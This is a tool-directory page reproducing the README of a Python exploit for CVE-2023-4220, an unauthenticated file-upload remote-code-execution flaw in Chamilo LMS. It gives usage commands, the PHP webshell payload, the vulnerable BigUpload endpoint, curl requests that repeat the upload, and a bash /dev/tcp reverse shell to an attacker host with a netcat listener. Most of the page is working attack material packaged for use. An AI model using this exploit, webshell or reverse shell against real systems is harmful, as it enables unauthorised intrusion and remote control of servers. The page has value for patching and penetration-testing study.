Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Unauthenticated file upload RCE in Chamilo LMS ≤ 1.11.24. OSCP-style and auto exploit.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ChamiloLMS CVE-2023-4220 Exploit

Python exploit for CVE-2023-4220, an unauthenticated arbitrary file upload vulnerability affecting Chamilo LMS <= 1.11.24.

The vulnerability is located in Chamilo's BigUpload component. On vulnerable installations, the upload handler allows a PHP file to be uploaded without proper validation. Since uploaded files are stored inside a web-accessible directory, the uploaded PHP file can be requested directly and used as a webshell if PHP execution is enabled.

This repository includes two versions of the exploit:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Both scripts upload a PHP webshell, verify command execution and allow running commands through the cmd GET parameter. The only practical difference is how --shell is handled.

The auto version starts its own listener, triggers the reverse shell and switches to an interactive session automatically.

The oscp version triggers the reverse shell payload but does not start a listener. You must start your listener manually before running it.


Installation

Clone the repository:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Install the requirements:

root@kitploit:~
python3 -m pip install -r requirements.txt

The only external dependency is requests, so it can also be installed manually:

root@kitploit:~
python3 -m pip install requests

Usage

The target is passed with -u or --url:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

The same options are available in both scripts:

root@kitploit:~
-u, --url              Target base URL
--check               Check if the BigUpload files directory is reachable
--upload              Upload the webshell and verify command execution
--cmd CMD             Execute a single command through the uploaded webshell
--shell LHOST LPORT   Trigger a reverse shell
--filename NAME       Use a custom filename for the uploaded PHP file
--proxy PROXY         Send traffic through a proxy, for example Burp Suite
--timeout SECONDS     Set the HTTP timeout
--verify-tls          Enable TLS certificate verification
--cleanup             Try to remove the uploaded webshell after execution

The automatic version also includes:

root@kitploit:~
--listen-timeout SEC  Time to wait for the reverse shell connection

Basic Examples

Check whether the expected BigUpload path is reachable:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Upload the PHP webshell and verify command execution:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Run a single command:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Use a custom filename:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Send traffic through Burp Suite:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

The examples above use the auto script, but the same syntax can be used with chamilo_cve_2023_4220_oscp.py.


Reverse Shell

The --shell option exists in both scripts, but it behaves differently depending on which version is used.

Automatic version

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

This version starts a local listener on 10.10.14.3:4444, uploads the webshell, triggers the reverse shell and opens the interactive session automatically.

You do not need to run nc manually when using this version.

OSCP-style version

Start your listener manually first:

root@kitploit:~
sudo nc -nlvp 4444

Then run the exploit from another terminal:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

This version only sends the reverse shell payload through the uploaded webshell. The connection is received by the listener you started manually.

The reverse shell command triggered by both scripts is equivalent to:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Make sure the LHOST value is reachable from the target. In VPN environments, this is usually your tunnel interface address:

root@kitploit:~
ip -brief addr show tun0

Vulnerability Details

CVE-2023-4220 affects Chamilo LMS versions up to and including 1.11.24.

The vulnerable upload handler is located at:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

The action abused by the exploit is:

root@kitploit:~
?action=post-unsupported

Uploaded files are commonly accessible from:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

The exploit sends a multipart/form-data POST request using the form field expected by BigUpload:

root@kitploit:~
bigUploadFile

The uploaded PHP payload is a small command wrapper:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Commands are passed through the cmd GET parameter:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

The markers around the command output are used to extract the relevant part of the HTTP response.


Manual Request

The upload performed by the scripts is equivalent to:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

After a successful upload, command execution can be tested with:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Notes

--check only verifies whether the expected BigUpload files directory is reachable. A positive result does not guarantee that the target is exploitable.

A full validation requires uploading the PHP payload and confirming command execution with --upload or --cmd.

If the upload works but command execution fails, PHP execution may be disabled in the upload directory, the target may be patched, or a server-side rule may be blocking the request.

Use --cleanup if you want the script to try removing the uploaded PHP file after execution.

Download Tool